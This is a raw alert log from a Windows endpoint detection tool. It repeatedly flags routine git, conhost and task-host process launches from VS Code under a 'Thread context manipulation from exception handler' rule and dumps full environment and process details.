POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 235 + Pid: 17984 + Tid: 16060 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.3177997 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 3eb075000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5b6b7080, name➜ conhost.exe, pid➜ 18084, ppid➜ 17984, real_ppid➜ 17984, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.3177997 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17984 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 237 + Pid: 18380 + Tid: 8588 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.3258635 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 42808e000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f59dad080, name➜ conhost.exe, pid➜ 3152, ppid➜ 18380, real_ppid➜ 18380, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.3258635 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 18380 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 239 + Pid: 17984 + Tid: 16060 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.3594762 +0100 CET + Params: cmdline➜ git.exe status -z -uall, directory_table_base➜ 4157fb000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f580d9080, name➜ git.exe, pid➜ 6004, ppid➜ 17984, real_ppid➜ 17984, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.3594762 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 17984 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 241 + Pid: 18380 + Tid: 8588 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.3668941 +0100 CET + Params: cmdline➜ git.exe for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname), directory_table_base➜ 2a24e2000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\bin\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f5775b080, name➜ git.exe, pid➜ 18068, ppid➜ 18380, real_ppid➜ 18380, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.3668941 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 18380 + Ppid: 13296 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname)] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 243 + Pid: 6004 + Tid: 16048 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.4287094 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 3de81e000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f4c88b080, name➜ git.exe, pid➜ 13040, ppid➜ 6004, real_ppid➜ 6004, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.4287094 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 6004 + Ppid: 17984 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:53:53+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 246 + Pid: 6004 + Tid: 16048 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:53:51.4700435 +0100 CET + Params: cmdline➜ git status --porcelain=2, directory_table_base➜ 3df0c1000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\mingw64\libexec\git-core\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f49ded080, name➜ git.exe, pid➜ 9312, ppid➜ 6004, real_ppid➜ 6004, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:53:51.4700435 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 6004 + Ppid: 17984 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-11-06T16:54:06+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 255 + Pid: 2052 + Tid: 9400 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:04.2439181 +0100 CET + Params: cmdline➜ taskhostw.exe, directory_table_base➜ 3e241c000, domain➜ NT AUTHORITY, exe➜ C:\WINDOWS\System32\taskhostw.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f57bd5080, name➜ taskhostw.exe, pid➜ 16580, ppid➜ 2052, real_ppid➜ 2052, session_id➜ 0, sid➜ S-1-5-18, start_time➜ 2025-11-06 16:54:04.2439181 +0100 CET, token_elevation_type➜ DEFAULT, token_integrity_level➜ SYSTEM, token_is_elevated➜ true, username➜ SYSTEM + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 2052 + Ppid: 1004 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:12+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 258 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.1909834 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" config --get commit.template, directory_table_base➜ 3f07a5000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f58fc50c0, name➜ git.exe, pid➜ 6192, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.1909834 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" + Exe: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe + Cwd: C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1660,i,4974518680950750034,10239679373257760819,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_8720_SGWDTPGKIUAUKUKY COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 ELECTRON_RUN_AS_NODE:1 GOMODCACHE:C:\Users\nedo\go\pkg\mod GOPATH:C:\Users\nedo\go GOPROXY:https://proxy.golang.org,direct GOTELEMETRY_GOPLS_CLIENT_START_TIME:1700254502 GOTELEMETRY_GOPLS_CLIENT_TOKEN:241 HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 ORIGINAL_XDG_CURRENT_DESKTOP:undefined OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo VSCODE_CODE_CACHE_PATH:C:\Users\nedo\AppData\Roaming\Code\CachedData\7d842fb85a0275a4a8e4d7e040d2625abbf7f084 VSCODE_CRASH_REPORTER_PROCESS_TYPE:extensionHost VSCODE_CWD:C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code VSCODE_ESM_ENTRYPOINT:vs/workbench/api/node/extensionHostProcess VSCODE_HANDLES_UNCAUGHT_ERRORS:true VSCODE_IPC_HOOK:\\.\pipe\90bda20e-1.105.1-main-sock VSCODE_L10N_BUNDLE_LOCATION: VSCODE_NLS_CONFIG:{"userLocale":"en-us","osLocale":"en-us","resolvedLanguage":"en","defaultMessagesFile":"C:\\Users\\nedo\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\out\\nls.messages.json","locale":"en-us","availableLanguages":{}} VSCODE_PID:8720 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:54:12+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 260 + Pid: 13296 + Tid: 13300 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:54:11.2026683 +0100 CET + Params: cmdline➜ "C:\Program Files\Git\cmd\git.exe" for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) --ignore-case refs/heads/initial-server-architecture refs/remotes/initial-server-architecture, directory_table_base➜ 199252000, domain➜ ARCHRABBIT, exe➜ C:\Program Files\Git\cmd\git.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f58ecf080, name➜ git.exe, pid➜ 10984, ppid➜ 13296, real_ppid➜ 13296, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:54:11.2026683 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 13296 + Ppid: 8720 + Name: Code.exe + Parent name: Code.exe + Cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility 